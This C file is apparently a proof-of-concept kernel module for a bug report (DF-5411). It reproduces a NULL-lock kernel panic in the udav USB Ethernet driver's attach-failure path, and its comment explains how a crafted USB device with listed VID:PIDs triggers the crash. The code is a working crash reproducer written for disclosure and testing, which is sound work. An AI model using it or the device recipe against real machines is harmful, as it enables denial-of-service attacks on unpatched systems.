DF-5411 / udav_attach_poc.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 | /* * DF-5411 PoC harness โ if_udav.c attach-failure DF-5334-class panic. * * Target: sys/bus/u4b/net/if_udav.c udav_attach() failure branches: * * 263: error = usbd_transfer_setup(uaa->device, &iface_index, * 264: sc->sc_xfer, udav_config, UDAV_N_TRANSFER, sc, &sc->sc_lock); * 265: if (error) { * 266: device_printf(dev, "allocating USB transfers failed\n"); * 267: goto detach; * 268: } * ... * 280: ue->ue_sc = sc; \ * 281: ue->ue_dev = dev; \ assigned only AFTER the * 282: ue->ue_udev = uaa->device; > failing usbd_transfer_setup() * 283: ue->ue_lock = &sc->sc_lock;/ * 285: error = uether_ifattach(ue); * 286: if (error) { * 287: device_printf(dev, "could not attach interface\n"); * 288: goto detach; * 289: } * 293: detach: * 294: udav_detach(dev); * * udav_detach() (if_udav.c:298-309) then runs, in order: * * 304: usbd_transfer_unsetup(sc->sc_xfer, UDAV_N_TRANSFER); * 305: uether_ifdetach(ue); * 306: lockuninit(&sc->sc_lock); * * On the transfer-setup failure branch every ue field that * uether_ifdetach() needs is still ZERO (they are assigned only at * if_udav.c:280-283, AFTER the failing call). uether_ifdetach() * (sys/bus/u4b/net/usb_ethernet.c:268-305): * * 273: usb_proc_drain(&ue->ue_tq); <- no-op, up_lock == NULL * (usb_process.c:401-412) * 276: ifp = uether_getifp(ue); <- embedded arpcom ifnet * (usb_ethernet.c:134), NEVER NULL * 278: if (ifp != NULL) { <- dead guard, always true * 281: UE_LOCK(ue); <- macro at usb_ethernet.c:58: * lockmgr(NULL, LK_EXCLUSIVE) * ==> Fatal trap 12, fault VA 0x0 * * The trigger is fully device-controlled: any USB device presenting one of * the 6 VID:PID pairs in udav_devs[] (if_udav.c:205-218; e.g. ShanTou * DM9601 0x0fe6:0x8101, Corega FEther USB-TXC 0x07aa:0x0004, Kontron * JP1082 0x15ec/0x0fe6 variants) at config index 0 / iface 0 but WITHOUT a * usable bulk-IN + bulk-OUT endpoint pair makes usbd_transfer_setup() fail * at plug-in -> the goto fires -> panic. * * The second failure branch (uether_ifattach() error, only reachable on * usb_proc_create() ENOMEM) reaches udav_detach() with ue_lock valid but a * never-if_attach()ed ifnet: ether_ifdetach() -> if_detach() nulls * ifindex2ifnet[0] (stealing lo0's slot) and TAILQ_REMOVEs a never-inserted * ifnet from the global list โ latent corruption, not attacker-timed. * * This KLD replays branch 1 verbatim: it constructs the exact post-failure * state (zeroed struct udav_softc + lockinit(&sc->sc_lock) per if_udav.c:260 * โ the only softc initialisation before the failing call) and calls the * production usbd_transfer_unsetup() and uether_ifdetach() (exported by * uether.ko) in udav_detach() order. The only non-production code is the * static udav_attach()/udav_detach() frame itself (static in if_udav.c, * reachable only with a physical DM9601-class device present). */ #include <sys/stdint.h> #include <sys/param.h> #include <sys/queue.h> #include <sys/types.h> #include <sys/systm.h> #include <sys/socket.h> #include <sys/kernel.h> #include <sys/bus.h> #include <sys/module.h> #include <sys/lock.h> #include <sys/condvar.h> #include <sys/sysctl.h> #include <sys/unistd.h> #include <sys/callout.h> #include <sys/malloc.h> #include <sys/caps.h> #include <net/if.h> #include <net/if_var.h> #include <bus/u4b/usb.h> #include <bus/u4b/usbdi.h> #include <bus/u4b/usb_process.h> #include <bus/u4b/net/usb_ethernet.h> #include <bus/u4b/net/if_udavreg.h> static int udav_poc_modevent(module_t mod, int type, void *arg) { struct udav_softc *sc; switch (type) { case MOD_LOAD: kprintf("udav_poc: constructing post-'allocating USB transfers" " failed' state (if_udav.c:260-268)\n"); sc = kmalloc(sizeof(*sc), M_TEMP, M_WAITOK | M_ZERO); if (sc == NULL) return (ENOMEM); /* if_udav.c:260: the only softc field initialised before the * failing usbd_transfer_setup() at if_udav.c:263 */ lockinit(&sc->sc_lock, "udav_poc", 0, 0); kprintf("udav_poc: state check: ue_lock=%p ue_dev=%p " "ue_udev=%p ue_methods=%p ue_tq.up_lock=%p " "(all must be 0/NULL)\n", sc->sc_ue.ue_lock, (void *)sc->sc_ue.ue_dev, sc->sc_ue.ue_udev, sc->sc_ue.ue_methods, sc->sc_ue.ue_tq.up_lock); kprintf("udav_poc: entering udav_detach() replay: " "usbd_transfer_unsetup() + uether_ifdetach() " "(if_udav.c:304-305)\n"); /* if_udav.c:304 โ production code, zeroed xfer array == branch 1 */ usbd_transfer_unsetup(sc->sc_xfer, UDAV_N_TRANSFER); /* if_udav.c:305 -> uether_ifdetach() -> UE_LOCK(ue) -> * lockmgr(NULL, LK_EXCLUSIVE) -> Fatal trap 12, VA 0x0 */ uether_ifdetach(&sc->sc_ue); kprintf("udav_poc: SURVIVED uether_ifdetach() (UNEXPECTED โ " "guard present?)\n"); lockuninit(&sc->sc_lock); kfree(sc, M_TEMP); return (0); default: return (0); } } static moduledata_t udav_poc_mod = { "udav_poc", udav_poc_modevent, NULL }; DECLARE_MODULE(udav_poc, udav_poc_mod, SI_SUB_DRIVERS, SI_ORDER_ANY); MODULE_DEPEND(udav_poc, uether, 1, 1, 1); |